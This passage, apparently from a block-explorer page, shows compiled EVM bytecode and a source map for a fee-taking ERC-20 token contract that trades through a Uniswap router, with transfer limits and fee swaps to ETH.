5260200160405180910390a1565b60006103e1338484610bc1565b6000546001600160a01b031633146105e55760405162461bcd60e51b815260040161049f90611812565b60155460ff16156106325760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161049f565b600e546013546001600160a01b039091169063f305d71990479030906000806106636000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106cb573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106f09190611847565b5050600f54600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610749573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076d9190611875565b506015805462ff00ff191662010001179055565b6000546001600160a01b031633146107ab5760405162461bcd60e51b815260040161049f90611812565b60155460ff16156107f85760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161049f565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108419030906108336009600a6117e4565b61046690633b9aca006117f3565b600e60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610894573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b89190611897565b6001600160a01b031663c9c6539630600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561091a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061093e9190611897565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561098b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109af9190611897565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b6000826000036109e3575060006103e5565b60006109ef83856117f3565b9050826109fc85836118b4565b14610a535760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161049f565b9392505050565b6000610a5383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061112e565b6001600160a01b038316610afe5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161049f565b6001600160a01b038216610b5f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161049f565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610c255760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161049f565b6001600160a01b038216610c875760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161049f565b60008111610ce95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161049f565b60155462010000900460ff161580610d085750601554610100900460ff165b15610d1d57610d1883838361115c565b505050565b600083610d326000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610d6157506000546001600160a01b03858116911614155b156110e057610d926064610d8c600954600c5411610d8157600554610d85565b6007545b86906109d1565b90610a5a565b600d5490925060ff1615610e7a57600e546001600160a01b03858116911614801590610dcc5750600f546001600160a01b03858116911614155b15610e7a57326000908152600460205260409020544311610e675760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161049f565b3260009081526004602052604090204390555b600f546001600160a01b038681169116148015610ea55750600e546001600160a01b03858116911614155b8015610eca57506001600160a01b03841660009081526003602052604090205460ff16155b15610fb257601254831115610f215760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161049f565b60115483610f44866001600160a01b031660009081526001602052604090205490565b610f4e91906118d6565b1115610f9c5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161049f565b600c8054906000610fac836118ee565b91905055505b600f546001600160a01b038581169116148015610fd857506001600160a01b0385163014155b15611005576110026064610d8c600a54600c5411610ff857600654610d85565b60085486906109d1565b91505b30600090815260016020526040902054601554610100900460ff1615801561103a5750600f546001600160a01b038681169116145b801561104e575060155462010000900460ff165b801561105d5750600b54600c54115b801561108257506001600160a01b03861660009081526003602052604090205460ff16155b80156110a757506001600160a01b03851660009081526003602052604090205460ff16155b156110de5760105481106110d2576110d26110cd856110c884601454611202565b611202565b611217565b476110dc4761138b565b505b505b6110ed85858584866113cd565b5050505050565b600081848411156111185760405162461bcd60e51b815260040161049f91906115ba565b5060006111258486611907565b95945050505050565b6000818361114f5760405162461bcd60e51b815260040161049f91906115ba565b50600061112584866118b4565b6001600160a01b03831660009081526001602052604090205461117f90826114f6565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546111ae9082611538565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bb49085815260200190565b60008183116112115782610a53565b50919050565b6015805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061125b5761125b61191e565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112d89190611897565b816001815181106112eb576112eb61191e565b6001600160a01b039283166020918202929092010152600e546113119130911684610a9c565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061134a908590600090869030904290600401611934565b600060405180830381600087803b15801561136457600080fd5b505af1158015611378573d6000803e3d6000fd5b50506015805461ff001916905550505050565b600d546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f193505050501580156113c9573d6000803e3d6000fd5b5050565b60006113d98285611907565b6001600160a01b0387166000908152600360208190526040909120549192509060ff16156114125761140b81866117f3565b9250600090505b801561142e57821561142957611429873085611597565b61143f565b821561143f5761143f878585611597565b6001600160a01b03871660009081526001602052604090205461146290866114f6565b6001600160a01b0380891660009081526001602052604080822093909355908816815220546114919083611538565b6001600160a01b0380881660008181526001602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114e59086815260200190565b60405180910390a350505050505050565b6000610a5383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110f4565b60008061154583856118d6565b905083811015610a535760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161049f565b6001600160a01b0382166000908152600160205260409020546111ae9082611538565b600060208083528351808285015260005b818110156115e7578581018301518582016040015282016115cb565b818111156115f9576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461162457600080fd5b50565b6000806040838503121561163a57600080fd5b82356116458161160f565b946020939093013593505050565b60008060006060848603121561166857600080fd5b83356116738161160f565b925060208401356116838161160f565b929592945050506040919091013590565b6000602082840312156116a657600080fd5b8135610a538161160f565b600080604083850312156116c457600080fd5b82356116cf8161160f565b915060208301356116df8161160f565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561173b578160001904821115611721576117216116ea565b8085161561172e57918102915b93841c9390800290611705565b509250929050565b600082611752575060016103e5565b8161175f575060006103e5565b8160018114611775576002811461177f5761179b565b60019150506103e5565b60ff841115611790576117906116ea565b50506001821b6103e5565b5060208310610133831016604e8410600b84101617156117be575081810a6103e5565b6117c88383611700565b80600019048211156117dc576117dc6116ea565b029392505050565b6000610a5360ff841683611743565b600081600019048311821515161561180d5761180d6116ea565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008060006060848603121561185c57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561188757600080fd5b81518015158114610a5357600080fd5b6000602082840312156118a957600080fd5b8151610a538161160f565b6000826118d157634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156118e9576118e96116ea565b500190565b600060018201611900576119006116ea565b5060010190565b600082821015611919576119196116ea565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119845784516001600160a01b03168352938301939183019160010161195f565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205f6fab0a83658ee5698b50be01dfc8998d03d4aa4fb9f64853a68346ee56969664736f6c634300080e0033
Deployed Bytecode Sourcemap
4143:10054:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7818:83;;;;;;;;;;-1:-1:-1;7888:5:0;;;;;;;;;;;;-1:-1:-1;;;7888:5:0;;;;7818:83;;;;;;;:::i;:::-;;;;;;;;8701:186;;;;;;;;;;-1:-1:-1;8701:186:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;8701:186:0;1072:187:1;5468:52:0;;;;;;;;;;;;;;;;;;;1410:25:1;;;1398:2;1383:18;5468:52:0;1264:177:1;8095:95:0;;;;;;;;;;;;;:::i;8895:446::-;;;;;;;;;;-1:-1:-1;8895:446:0;;;;;:::i;:::-;;:::i;5409:52::-;;;;;;;;;;;;;;;;8004:83;;;;;;;;;;-1:-1:-1;8004:83:0;;5029:1;2049:36:1;;2037:2;2022:18;8004:83:0;1907:184:1;8198:119:0;;;;;;;;;;-1:-1:-1;8198:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;8291:18:0;8264:7;8291:18;;;:9;:18;;;;;;;8198:119;3988:148;;;;;;;;;;;;;:::i;:::-;;7472:201;;;;;;;;;;;;;:::i;5349:53::-;;;;;;;;;;;;;;;;3774:79;;;;;;;;;;-1:-1:-1;3812:7:0;3839:6;3774:79;;-1:-1:-1;;;;;3839:6:0;;;2494:51:1;;2482:2;2467:18;3774:79:0;2348:203:1;5287:55:0;;;;;;;;;;;;;;;;7909:87;;;;;;;;;;-1:-1:-1;7981:7:0;;;;;;;;;;;;-1:-1:-1;;;7981:7:0;;;;7909:87;;8325:192;;;;;;;;;;-1:-1:-1;8325:192:0;;;;;:::i;:::-;;:::i;5224:56::-;;;;;;;;;;;;;;;;4817:40;;;;;;;;;;-1:-1:-1;4817:40:0;;;;;;;;6140:483;;;;;;;;;;;;;:::i;8525:168::-;;;;;;;;;;-1:-1:-1;8525:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;8658:18:0;;;8631:7;8658:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8525:168;9692:454;;;;;;;;;;;;;:::i;8701:186::-;8801:4;8818:39;3407:10;8841:7;8850:6;8818:8;:39::i;:::-;-1:-1:-1;8875:4:0;8701:186;;;;;:::o;8095:95::-;8148:7;5202:15;5029:1;5202:2;:15;:::i;:::-;5186:31;;:13;:31;:::i;:::-;8168:14;;8095:95;:::o;8895:446::-;9027:4;9044:36;9054:6;9062:9;9073:6;9044:9;:36::i;:::-;9091:220;9114:6;3407:10;9162:138;9218:6;9162:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;9162:19:0;;;;;;:11;:19;;;;;;;;3407:10;9162:33;;;;;;;;;;:37;:138::i;:::-;9091:8;:220::i;:::-;-1:-1:-1;9329:4:0;8895:446;;;;;:::o;3988:148::-;3901:6;;-1:-1:-1;;;;;3901:6:0;3407:10;3901:22;3893:67;;;;-1:-1:-1;;;3893:67:0;;;;;;;:::i;:::-;;;;;;;;;4095:1:::1;4079:6:::0;;4058:40:::1;::::0;-1:-1:-1;;;;;4079:6:0;;::::1;::::0;4058:40:::1;::::0;4095:1;;4058:40:::1;4126:1;4109:19:::0;;-1:-1:-1;;;;;;4109:19:0::1;::::0;;3988:148::o;7472:201::-;3901:6;;-1:-1:-1;;;;;3901:6:0;3407:10;3901:22;3893:67;;;;-1:-1:-1;;;3893:67:0;;;;;;;:::i;:::-;5202:15:::1;5029:1;5202:2;:15;:::i;:::-;5186:31;::::0;:13:::1;:31;:::i;:::-;7526:12;:22:::0;5202:15:::1;5029:1;5202:2;:15;:::i;:::-;5186:31;::::0;:13:::1;:31;:::i;:::-;7559:14;:24:::0;7594:20:::1;:28:::0;;-1:-1:-1;;7594:28:0::1;::::0;;7638:27:::1;5202:15;5029:1;5202:2;:15;:::i;:::-;5186:31;::::0;:13:::1;:31;:::i;:::-;7638:27;::::0;1410:25:1;;;1398:2;1383:18;7638:27:0::1;;;;;;;7472:201::o:0;8325:192::-;8428:4;8445:42;3407:10;8469:9;8480:6;8445:9;:42::i;6140:483::-;3901:6;;-1:-1:-1;;;;;3901:6:0;3407:10;3901:22;3893:67;;;;-1:-1:-1;;;3893:67:0;;;;;;;:::i;:::-;6202:11:::1;::::0;::::1;;6201:12;6193:48;;;::::0;-1:-1:-1;;;6193:48:0;;5200:2:1;6193:48:0::1;::::0;::::1;5182:21:1::0;5239:2;5219:18;;;5212:30;-1:-1:-1;;;5258:18:1;;;5251:53;5321:18;;6193:48:0::1;4998:347:1::0;6193:48:0::1;6254:15;::::0;6358:10:::1;::::0;-1:-1:-1;;;;;6254:15:0;;::::1;::::0;:31:::1;::::0;6293:21:::1;::::0;6338:4:::1;::::0;6254:15:::1;::::0;6415:7:::1;3812::::0;3839:6;-1:-1:-1;;;;;3839:6:0;;3774:79;6415:7:::1;6254:209;::::0;::::1;::::0;;;-1:-1:-1;;;;;;6254:209:0;;;-1:-1:-1;;;;;5709:15:1;;;6254:209:0::1;::::0;::::1;5691:34:1::0;5741:18;;;5734:34;;;;5784:18;;;5777:34;;;;5827:18;;;5820:34;5891:15;;;5870:19;;;5863:44;6437:15:0::1;5923:19:1::0;;;5916:35;5625:19;;6254:209:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;6483:13:0::1;::::0;6514:15:::1;::::0;6476:71:::1;::::0;-1:-1:-1;;;6476:71:0;;-1:-1:-1;;;;;6514:15:0;;::::1;6476:71;::::0;::::1;6447:51:1::0;-1:-1:-1;;6514:18:1;;;6507:34;6483:13:0;::::1;::::0;-1:-1:-1;6476:29:0::1;::::0;6420:18:1;;6476:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;6568:11:0::1;:18:::0;;-1:-1:-1;;6597:18:0;;;;;6140:483::o;9692:454::-;3901:6;;-1:-1:-1;;;;;3901:6:0;3407:10;3901:22;3893:67;;;;-1:-1:-1;;;3893:67:0;;;;;;;:::i;:::-;9751:11:::1;::::0;::::1;;9750:12;9742:48;;;::::0;-1:-1:-1;;;9742:48:0;;5200:2:1;9742:48:0::1;::::0;::::1;5182:21:1::0;5239:2;5219:18;;;5212:30;-1:-1:-1;;;5258:18:1;;;5251:53;5321:18;;9742:48:0::1;4998:347:1::0;9742:48:0::1;9803:15;:104:::0;;-1:-1:-1;;;;;;9803:104:0::1;9854:42;9803:104:::0;;::::1;::::0;;;9920:58:::1;::::0;9937:4:::1;::::0;5202:15:::1;5029:1;5202:2;:15;:::i;:::-;5186:31;::::0;:13:::1;:31;:::i;9920:58::-;10025:15;;;;;;;;;-1:-1:-1::0;;;;;10025:15:0::1;-1:-1:-1::0;;;;;10025:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10007:55:0::1;;10085:4;10105:15;;;;;;;;;-1:-1:-1::0;;;;;10105:15:0::1;-1:-1:-1::0;;;;;10105:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10007:131;::::0;-1:-1:-1;;;;;;10007:131:0::1;::::0;;;;;;-1:-1:-1;;;;;7320:15:1;;;10007:131:0::1;::::0;::::1;7302:34:1::0;7372:15;;7352:18;;;7345:43;7237:18;;10007:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9991:13;:147:::0;;-1:-1:-1;;;;;;9991:147:0::1;-1:-1:-1::0;;;;;9991:147:0;;;::::1;::::0;;;::::1;::::0;;9692:454::o;1856:246::-;1914:7;1938:1;1943;1938:6;1934:47;;-1:-1:-1;1968:1:0;1961:8;;1934:47;1991:9;2003:5;2007:1;2003;:5;:::i;:::-;1991:17;-1:-1:-1;2036:1:0;2027:5;2031:1;1991:17;2027:5;:::i;:::-;:10;2019:56;;;;-1:-1:-1;;;2019:56:0;;7823:2:1;2019:56:0;;;7805:21:1;7862:2;7842:18;;;7835:30;7901:34;7881:18;;;7874:62;-1:-1:-1;;;7952:18:1;;;7945:31;7993:19;;2019:56:0;7621:397:1;2019:56:0;2093:1;1856:246;-1:-1:-1;;;1856:246:0:o;2110:132::-;2168:7;2195:39;2199:1;2202;2195:39;;;;;;;;;;;;;;;;;:3;:39::i;9349:335::-;-1:-1:-1;;;;;9442:19:0;;9434:68;;;;-1:-1:-1;;;9434:68:0;;8225:2:1;9434:68:0;;;8207:21:1;8264:2;8244:18;;;8237:30;8303:34;8283:18;;;8276:62;-1:-1:-1;;;8354:18:1;;;8347:34;8398:19;;9434:68:0;8023:400:1;9434:68:0;-1:-1:-1;;;;;9521:21:0;;9513:68;;;;-1:-1:-1;;;9513:68:0;;8630:2:1;9513:68:0;;;8612:21:1;8669:2;8649:18;;;8642:30;8708:34;8688:18;;;8681:62;-1:-1:-1;;;8759:18:1;;;8752:32;8801:19;;9513:68:0;8428:398:1;9513:68:0;-1:-1:-1;;;;;9592:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9644:32;;1410:25:1;;;9644:32:0;;1383:18:1;9644:32:0;;;;;;;;9349:335;;;:::o;11191:3003::-;-1:-1:-1;;;;;11279:18:0;;11271:68;;;;-1:-1:-1;;;11271:68:0;;9033:2:1;11271:68:0;;;9015:21:1;9072:2;9052:18;;;9045:30;9111:34;9091:18;;;9084:62;-1:-1:-1;;;9162:18:1;;;9155:35;9207:19;;11271:68:0;8831:401:1;11271:68:0;-1:-1:-1;;;;;11358:16:0;;11350:64;;;;-1:-1:-1;;;11350:64:0;;9439:2:1;11350:64:0;;;9421:21:1;9478:2;9458:18;;;9451:30;9517:34;9497:18;;;9490:62;-1:-1:-1;;;9568:18:1;;;9561:33;9611:19;;11350:64:0;9237:399:1;11350:64:0;11442:1;11433:6;:10;11425:64;;;;-1:-1:-1;;;11425:64:0;;9843:2:1;11425:64:0;;;9825:21:1;9882:2;9862:18;;;9855:30;9921:34;9901:18;;;9894:62;-1:-1:-1;;;9972:18:1;;;9965:39;10021:19;;11425:64:0;9641:405:1;11425:64:0;11507:11;;;;;;;11506:12;;:22;;-1:-1:-1;11522:6:0;;;;;;;11506:22;11502:108;;;11545:32;11560:4;11566:2;11570:6;11545:14;:32::i;:::-;11191:3003;;;:::o;11502:108::-;11622:16;11666:4;11703:7;3812;3839:6;-1:-1:-1;;;;;3839:6:0;;3774:79;11703:7;-1:-1:-1;;;;;11695:15:0;:4;-1:-1:-1;;;;;11695:15:0;;;:32;;;;-1:-1:-1;3812:7:0;3839:6;-1:-1:-1;;;;;11714:13:0;;;3839:6;;11714:13;;11695:32;11691:2424;;;11755:208;11959:3;11755:181;11819:15;;11807:9;;:27;11806:111;;11903:14;;11806:111;;;11863:12;;11806:111;11755:6;;:28;:181::i;:::-;:203;;:208::i;:::-;11984:20;;11744:219;;-1:-1:-1;11984:20:0;;11980:522;;;12065:15;;-1:-1:-1;;;;;12051:30:0;;;12065:15;;12051:30;;;;:83;;-1:-1:-1;12120:13:0;;-1:-1:-1;;;;;12106:28:0;;;12120:13;;12106:28;;12051:83;12025:462;;;12240:9;12211:39;;;;:28;:39;;;;;;12253:12;-1:-1:-1;12177:213:0;;;;-1:-1:-1;;;12177:213:0;;10253:2:1;12177:213:0;;;10235:21:1;10292:2;10272:18;;;10265:30;10331:34;10311:18;;;10304:62;10402:34;10382:18;;;10375:62;-1:-1:-1;;;10453:19:1;;;10446:40;10503:19;;12177:213:0;10051:477:1;12177:213:0;12442:9;12413:39;;;;:28;:39;;;;;12455:12;12413:54;;12025:462;12548:13;;-1:-1:-1;;;;;12540:21:0;;;12548:13;;12540:21;:72;;;;-1:-1:-1;12596:15:0;;-1:-1:-1;;;;;12582:30:0;;;12596:15;;12582:30;;12540:72;:117;;;;-1:-1:-1;;;;;;12634:23:0;;;;;;:19;:23;;;;;;;;12633:24;12540:117;12518:439;;;12710:12;;12700:6;:22;;12692:60;;;;-1:-1:-1;;;12692:60:0;;10735:2:1;12692:60:0;;;10717:21:1;10774:2;10754:18;;;10747:30;10813:27;10793:18;;;10786:55;10858:18;;12692:60:0;10533:349:1;12692:60:0;12827:14;;12817:6;12801:13;12811:2;-1:-1:-1;;;;;8291:18:0;8264:7;8291:18;;;:9;:18;;;;;;;8198:119;12801:13;:22;;;;:::i;:::-;:40;;12771:140;;;;-1:-1:-1;;;12771:140:0;;11222:2:1;12771:140:0;;;11204:21:1;11261:2;11241:18;;;11234:30;11300:28;11280:18;;;11273:56;11346:18;;12771:140:0;11020:350:1;12771:140:0;12930:9;:11;;;:9;:11;;;:::i;:::-;;;;;;12518:439;12983:13;;-1:-1:-1;;;;;12977:19:0;;;12983:13;;12977:19;:44;;;;-1:-1:-1;;;;;;13000:21:0;;13016:4;13000:21;;12977:44;12973:331;;;13053:235;13284:3;13053:204;13125:16;;13113:9;;:28;13112:122;;13219:15;;13112:122;;;13174:13;;13053:6;;:32;:204::i;:235::-;13042:246;;12973:331;13369:4;13320:28;8291:18;;;:9;:18;;;;;;13413:6;;;;;;;13412:7;:47;;;;-1:-1:-1;13446:13:0;;-1:-1:-1;;;;;13440:19:0;;;13446:13;;13440:19;13412:47;:79;;;;-1:-1:-1;13480:11:0;;;;;;;13412:79;:130;;;;;13524:18;;13512:9;;:30;13412:130;:177;;;;-1:-1:-1;;;;;;13564:25:0;;;;;;:19;:25;;;;;;;;13563:26;13412:177;:222;;;;-1:-1:-1;;;;;;13611:23:0;;;;;;:19;:23;;;;;;;;13610:24;13412:222;13390:714;;;13697:17;;13673:20;:41;13669:208;;13740:117;13783:51;13787:6;13795:38;13799:20;13821:11;;13795:3;:38::i;:::-;13783:3;:51::i;:::-;13740:16;:117::i;:::-;13942:21;14034:35;14047:21;14034:12;:35::i;:::-;13650:454;13390:714;11729:2386;11691:2424;14127:59;14146:4;14152:2;14156:6;14164:11;14177:8;14127:18;:59::i;:::-;11260:2934;;11191:3003;;;:::o;1624:224::-;1744:7;1780:12;1772:6;;;;1764:29;;;;-1:-1:-1;;;1764:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1804:9:0;1816:5;1820:1;1816;:5;:::i;:::-;1804:17;1624:224;-1:-1:-1;;;;;1624:224:0:o;2250:223::-;2370:7;2405:12;2398:5;2390:28;;;;-1:-1:-1;;;2390:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2429:9:0;2441:5;2445:1;2441;:5;:::i;10154:233::-;-1:-1:-1;;;;;10258:15:0;;;;;;:9;:15;;;;;;:27;;10278:6;10258:19;:27::i;:::-;-1:-1:-1;;;;;10240:15:0;;;;;;;:9;:15;;;;;;:45;;;;10312:13;;;;;;;:25;;10330:6;10312:17;:25::i;:::-;-1:-1:-1;;;;;10296:13:0;;;;;;;:9;:13;;;;;;;:41;;;;10353:26;;;;;;;;;;10372:6;1410:25:1;;1398:2;1383:18;;1264:177;7357:107:0;7414:7;7446:1;7442;:5;7441:15;;7455:1;7441:15;;;-1:-1:-1;7451:1:0;7357:107;-1:-1:-1;7357:107:0:o;6631:483::-;5719:6;:13;;-1:-1:-1;;5719:13:0;;;;;6733:16:::1;::::0;;6747:1:::1;6733:16:::0;;;;;::::1;::::0;;-1:-1:-1;;6733:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;6733:16:0::1;6709:40;;6778:4;6760;6765:1;6760:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6760:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;6804:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;6804:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;6760:7;;6804:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6794:4;6799:1;6794:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6794:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;6869:15:::1;::::0;6837:62:::1;::::0;6854:4:::1;::::0;6869:15:::1;6887:11:::0;6837:8:::1;:62::i;:::-;6910:15;::::0;:196:::1;::::0;-1:-1:-1;;;6910:196:0;;-1:-1:-1;;;;;6910:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;6991:11;;6910:15:::1;::::0;7033:4;;7060::::1;::::0;7080:15:::1;::::0;6910:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5755:6:0;:14;;-1:-1:-1;;5755:14:0;;;-1:-1:-1;;;;6631:483:0:o;7681:92::-;7738:10;;:27;;:10;;;;-1:-1:-1;;;;;7738:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;;;7681:92;:::o;10395:788::-;10576:18;10597:17;10606:8;10597:6;:17;:::i;:::-;-1:-1:-1;;;;;10662:25:0;;10616:16;10662:25;;;10635:1;10662:25;;;;;;;;;10576:38;;-1:-1:-1;10635:1:0;10662:25;;10658:78;;;10702:17;10711:8;10702:6;:17;:::i;:::-;10691:28;;10732:1;10721:12;;10658:78;10752:12;;10748:266;;10785:12;;10781:96;;10818:43;10831:4;10845;10852:8;10818:12;:43::i;:::-;10748:266;;;10913:12;;10909:94;;10946:41;10959:4;10965:11;10978:8;10946:12;:41::i;:::-;-1:-1:-1;;;;;11044:15:0;;;;;;:9;:15;;;;;;:27;;11064:6;11044:19;:27::i;:::-;-1:-1:-1;;;;;11026:15:0;;;;;;;:9;:15;;;;;;:45;;;;11098:13;;;;;;;:29;;11116:10;11098:17;:29::i;:::-;-1:-1:-1;;;;;11082:13:0;;;;;;;:9;:13;;;;;;;:45;;;;11145:30;;;;;;;;;;11164:10;1410:25:1;;1398:2;1383:18;;1264:177;11145:30:0;;;;;;;;10565:618;;10395:788;;;;;:::o;1480:136::-;1538:7;1565:43;1569:1;1572;1565:43;;;;;;;;;;;;;;;;;:3;:43::i;1293:179::-;1351:7;;1383:5;1387:1;1383;:5;:::i;:::-;1371:17;;1412:1;1407;:6;;1399:46;;;;-1:-1:-1;;;1399:46:0;;13096:2:1;1399:46:0;;;13078:21:1;13135:2;13115:18;;;13108:30;13174:29;13154:18;;;13147:57;13221:18;;1399:46:0;12894:351:1;7122:227:0;-1:-1:-1;;;;;7247:22:0;;;;;;:9;:22;;;;;;:36;;7274:8;7247:26;:36::i;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;671:70;616:131;:::o;752:315::-;820:6;828;881:2;869:9;860:7;856:23;852:32;849:52;;;897:1;894;887:12;849:52;936:9;923:23;955:31;980:5;955:31;:::i;:::-;1005:5;1057:2;1042:18;;;;1029:32;;-1:-1:-1;;;752:315:1:o;1446:456::-;1523:6;1531;1539;1592:2;1580:9;1571:7;1567:23;1563:32;1560:52;;;1608:1;1605;1598:12;1560:52;1647:9;1634:23;1666:31;1691:5;1666:31;:::i;:::-;1716:5;-1:-1:-1;1773:2:1;1758:18;;1745:32;1786:33;1745:32;1786:33;:::i;:::-;1446:456;;1838:7;;-1:-1:-1;;;1892:2:1;1877:18;;;;1864:32;;1446:456::o;2096:247::-;2155:6;2208:2;2196:9;2187:7;2183:23;2179:32;2176:52;;;2224:1;2221;2214:12;2176:52;2263:9;2250:23;2282:31;2307:5;2282:31;:::i;2556:388::-;2624:6;2632;2685:2;2673:9;2664:7;2660:23;2656:32;2653:52;;;2701:1;2698;2691:12;2653:52;2740:9;2727:23;2759:31;2784:5;2759:31;:::i;:::-;2809:5;-1:-1:-1;2866:2:1;2851:18;;2838:32;2879:33;2838:32;2879:33;:::i;:::-;2931:7;2921:17;;;2556:388;;;;;:::o;2949:127::-;3010:10;3005:3;3001:2